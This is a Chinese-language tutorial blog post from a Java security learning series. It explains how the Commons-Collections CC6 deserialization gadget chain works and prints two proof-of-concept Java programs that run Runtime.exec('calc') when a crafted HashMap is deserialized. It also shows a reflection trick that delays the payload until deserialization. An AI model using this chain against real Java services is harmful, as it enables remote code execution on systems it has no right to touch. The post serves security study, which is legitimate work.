本文为JAVA安全系列文章第十一篇。来学习最好用的无JDK版本限制的CC6链。
0x01 思路分析
在上一篇中,我们提到两条CC1链都只能在JDK8u71之前使用,那么有没有一条比较通杀的链子,可以无视JDK版本呢?有!!!那就是CC6链。
那么这条链子又该如何去找呢?
在上一篇中我们谈到LazyMap.get()方法中会调用factory.transform(key),factory为一个Transformer类型,让其为我们构造的ChainedTransformer对象就可以触发链子执行任意命令。但当我们逆推去找谁调用了get()时,发现有很多,这让我们无从下手。而细想一下,很多地方调用了get()是不是也意味着机会更多?
我们换个思路,LazyMap本质就是个Map,要构造一条比较通杀的链子,从某个类的readObject(),调用到一个Map的get() 方法。那么这个“某个类”,你首先会想到哪个?基本都会回答HashMap吧~
我们在分析URLDNS链时也是用HashMap.readObject()做的入口点,如果记不清了可以回看。HashMap.readObject()最终会调用到key.hashcode(),这是当时我们做的分析:
那么问题可以转化为有没有这样一个类,其hashCode()方法中可以调用到一个Map的get()方法?由于要调用到Map的get(),那这个类极有可能也是跟Map相关;且要无视JDK版本,那么这个类最好是Commons-Collections 组件中就有或者在JDK中高版本和低版本都一样的类,比如像入口类HashMap这样的,但最先选择还是Commons-Collections 组件中的类。
找的思路应该是这样的,Ysoserial作者最终找到的类是TiedMapEntry,位于org.apache.commons.collections.keyvalue包中。
0x02 TiedMapEntry
先来看下TiedMapEntry这个类:
简单明了,可序列化,hashCode()中调用getValue(),getValue()中再调用map.get()。参数都可由我们控制。TiedMapEntry中的map传入我们构造的LazyMap,链子就接起来。那么Gadget Chain就出来了:
0x03 POC编写
根据上面的分析以及此前两条CC1链的代码我们可以写出如下代码:
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"test");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
然而正当我们以为大功告成时,却发现,其实还没执行序列化和反序列化代码就已经弹计算器了:
why?其实这与分析URLDNS链时一样,put方法最终会调用到hashCode():
从而就会触发我们构造的链子弹计算器,那怎么解决这个问题呢?
可以效仿上一篇LazyMap CC1链中提到的Ysoserial中会先传入一个人畜无害transformers,最后才将执行命令的Transformer数组设置到transformerChain中,以避免未执行反序列化就触发命令执行的问题。将代码修改如下:
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] fakeformers = {new ConstantTransformer(1)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//先传入人畜无害的fakeformers避免put时就弹计算器
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"test");
//反射修改chainedTransformer中的iTransformers为transforms
Class clazz = chainedTransformer.getClass();
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
解决了put时弹计算器的问题,但完整执行完代码不弹计算器?这又是咋回事?
其实还是上面的问题,put时会调用链子,从而进入LazyMap.get(),此时没弹计算器是因为我们传入了人畜无害的fakeformers,同时此时会往LazyMap的map中写入键值对("xxx",1):
从而使得在反序列化时,LazyMap的map属性中有了"xxx"这个键名,就不会进入到if条件,反序列化时也就进入不到transformers数组执行命令了:
这个问题又怎么解决呢?很简单,在put后移除掉lazyMap中的"xxx"这个键名就可以了。
最终POC如下:
我将这条链在JDK11下运行,毫无问题:
0x04 Ysoserial中的POC
上面的POC是p神在《JAVA安全漫谈》中简化的CC6。我们来看下Ysoserial中的Gadget Chain:
Ysoserial中是使用HashSet.readObject()作为入口,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到 TiedMapEntry#hashCode()。
这里简单介绍下HashSet:
HashSet是一个集合,单列集合,并不像HashMap这样是双列集合,里面存放的是键值对。HashSet其中的元素是无序,且不能重复的,其底层实现逻辑还是HashMap。后面应该会写一篇文章详细讲讲HashSet,HashMap之间的联系和底层实现逻辑。本文就理解到这吧~
理解了上面的POC,参照Ysoserial中的Gadget chain,我们不难写出这条链的POC:
但当我们去看Ysoserial的源码,显然不是这么回事,其代码⻓度和理解的难度都相应增加了。下面是后半部分代码,对我这种菜鸟来讲,实在不理解:
Ysoserial中的有些代码相对来说比较难理解,甚至有些冗余。这就是像我这样的初学者不被建议去直接读Ysoserial源码的原因。初学者重点还是应学习每条Gadget的原理,其精髓。倘若只是从代码触发点⼀层⼀层跟进代码,调试⼀遍执⾏流程,这毫无意义。学习多思考,这很重要。每学了新内容,我都会写一篇文章出来。一来,复习巩固;二来,在写文章时自己也会思考怎么去给读者讲清楚这个东西,自然也会进行更深入的思考。
0x05 总结
1.CC6链和URLDNS链的入口点可以说都是HashMap.readObject(),在编写POC时遇到的问题是类似的。
2.对于POC编写时遇到的会提前执行利用链的问题,我们可以先在关键地方传入人畜无害的东西,最后再通过反射去修改这个人畜无害的东西为“有害的”即可。这个技巧很重要,后面还会用到。
另外,由于先传入了人畜无害的东西,链子被执行了一次,可能会导致在反序列化时反序列化出来的对象不如我们原先设想的那样,可能会导致进入不到执行利用链的逻辑里了。这应当产生注意,具体问题具体分析。
3.Ysoserial中的有些代码比较冗余复杂,让人难以理解。对于初学者来讲并不建议去直接读Ysoserial中的源码。比较推荐p神的《JAVA安全漫谈》和B站白日梦组长的视频。
我们已经有了CC6这样通杀的链了,还需要学习其他CC链么?当然有需要!!!
假如我们最终执行命令的InvokerTransformer这个类被加入到黑名单中了呢?那我们就得换种可以执行命令的方式了。
欲知后事如何,且听下回分解~
参考:
p神《JAVA安全漫谈》
B站白日梦组长
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:无JDK版本限制的CC6链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论